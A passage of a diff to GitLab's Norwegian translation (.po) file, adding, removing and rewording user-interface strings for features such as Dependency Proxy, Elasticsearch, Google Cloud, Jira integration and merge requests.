+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr "Distribusjoner"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,8 +11979,8 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
-msgstr "DevOps-rapport"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr "DevOps-adopsjon"
@@ -12032,6 +12246,9 @@ msgstr "Katalognavn"
msgid "Disable"
msgstr "Skru av"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domene"
@@ -12289,9 +12509,6 @@ msgstr "Minusstemmer"
msgid "Draft"
msgstr "Utkast"
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr "Dra designene dine hit eller %{linkStart}klikk for å laste opp%{linkEnd}."
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "MÃ¥ldato"
@@ -12403,9 +12623,15 @@ msgstr "Rediger applikasjonen"
msgid "Edit comment"
msgstr "Rediger kommentar"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Rediger beskrivelse"
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "Ingen. Velg navneområder å indeksere."
@@ -12535,6 +12767,9 @@ msgstr "E-postvarsling"
msgid "Email a new %{name} to this project"
msgstr "Send inn en ny %{name} til dette prosjektet via E-post"
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr "Skru på SSL-verifisering"
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "Skru på admin-modus"
@@ -12781,6 +13019,9 @@ msgstr "Skru på vedlikeholdsmodus"
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr "Skriv inn navnet til programmet ditt, så returnerer vi en unik %{type}.
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr "Jobb: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Flere handlinger"
-msgid "EnvironmentsDashboard|More information"
-msgstr "Mere informasjon"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Fjern"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr "Tilordne epos"
msgid "Epics|Enter a title for your epic"
msgstr "Skriv inn en tittel på eposet ditt"
-msgid "Epics|How can I solve this?"
-msgstr "Hvordan kan jeg løse dette?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr "Noe gikk galt under sortering av gjenstand."
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Disse datoene påvirker hvordan eposer vises i veikartet. Datoer fra milepæler kommer fra milepælene som er tildelt saker i eposet. Du kan også angi fastsatte datoer eller fjerne dem helt."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr "Unntak"
-msgid "Excess storage"
-msgstr "Overflødig lagring"
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "Ekskludert innflettings-commiter. Begrenset til %{limit} commiter."
@@ -13979,6 +14214,12 @@ msgstr "Utforsk prosjekter"
msgid "Explore public groups"
msgstr "Utforsk offentlige grupper"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "Eksporter"
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr "Mislyktes i å installere."
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr "Mislyktes i å beskytte miljøet"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr "Mislyktes i å fjerne et Zoom-møte"
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Filtrer etter milepælnavn"
@@ -14786,15 +15039,6 @@ msgstr "Først sett"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Fast dato"
-
-msgid "Fixed due date"
-msgstr "Fast forfallsdato"
-
-msgid "Fixed start date"
-msgstr "Fast startdato"
-
msgid "Fixed:"
msgstr "Rettet opp i:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr "For generelt arbeid"
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr "Generisk"
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr "URL-en kan ikke være blank"
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab-commit"
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr "GitLab-versjon"
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -15875,6 +16125,51 @@ msgstr "Globale hurtigtaster"
msgid "Global notification settings"
msgstr "Universelle varslingsinnstillinger"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "GÃ¥ tilbake"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr "Vis avhengigheter"
msgid "GraphViewType|Stage"
msgstr "Trinn"
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16343,7 +16653,7 @@ msgstr "Innen 3 år"
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr "Hei, %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "Skjul"
@@ -17199,8 +17524,8 @@ msgstr "Identifikasjoner"
msgid "Identities"
msgstr "Identiteter"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
-msgstr "Hvis et indeksert felt overskrider denne grensen, blir det avkortet til dette antall tegn, og resten vil ikke bli indeksert eller søkbart. Dette gjelder ikke indeksering av kodelageret og wikien. Hvis du setter dette til 0, betyr det at det er ubegrenset."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
+msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
msgstr ""
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr "Alle"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr "Inkluder beskrivelsen i commit-meldingen"
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr "Infrastruktur"
msgid "Infrastructure Registry"
msgstr "Infrastrukturregister"
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr "Skru på kommentarer"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "Interaktiv modus"
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Intervallmønster"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,8 +19035,8 @@ msgstr "Ugyldig brukernavn eller passord"
msgid "Invalid period"
msgstr "Ugyldig periode"
-msgid "Invalid pin code"
-msgstr "Ugyldig PIN-kode"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr ""
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Konfigurer CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr "Andre"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr "Noe gikk galt"
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Sakshendelser"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "Saksstempel"
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr "Bytt bord"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "Tilpasset sakssporer"
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr "Saker"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr "Saker lukket"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr "Legg til iterasjon"
msgid "Iterations|Automated scheduling"
msgstr "Automatisert planlegging"
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr "Tittel"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr "Klarte ikke å finne iterasjonen."
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr "Datoer kan ikke overlappe med andre eksisterende iterasjoner i denne gruppen"
@@ -19442,9 +19794,6 @@ msgstr "Januar"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr "Jira-saker"
-
msgid "Jira display name"
msgstr "Jira-visningsnavn"
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr "Saksliste"
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "Jira API-URL"
-msgid "JiraService|Jira Issues"
-msgstr "Jira-saker"
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr "Jira-prosjektnøkkel"
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr "Flytt til «Ferdig»"
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr "Ã…pne Jira"
@@ -19649,9 +19980,6 @@ msgstr "Dette er en Premium-funksjon"
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr "Nøkler"
msgid "Ki"
msgstr "Ki"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr "Kroki"
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr "La oss ta en prat!"
msgid "License Compliance"
msgstr "Lisensoverensstemmelse"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr "Lisensfil"
@@ -20581,9 +20918,6 @@ msgstr "Oppdaget i prosjektet"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr "INNFLETTET"
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr "Administrer alle varsler"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Administrer programmer som kan bruke GitLab som OAuth-leverandør, og programmer som du har autorisert til å bruke kontoen din."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr "Maks antall brukere"
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr "Medlem siden:"
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr "Fletteforespørsler slått sammen"
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "Innflettingscommit-melding"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Flett hendelser"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Fletteforespørsel"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr "Godkjent av @%{username}"
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr "Sammenlign %{target} og %{source}"
@@ -22366,6 +22718,9 @@ msgstr "Legg til SSH-nøkkel"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Ikke vis igjen"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
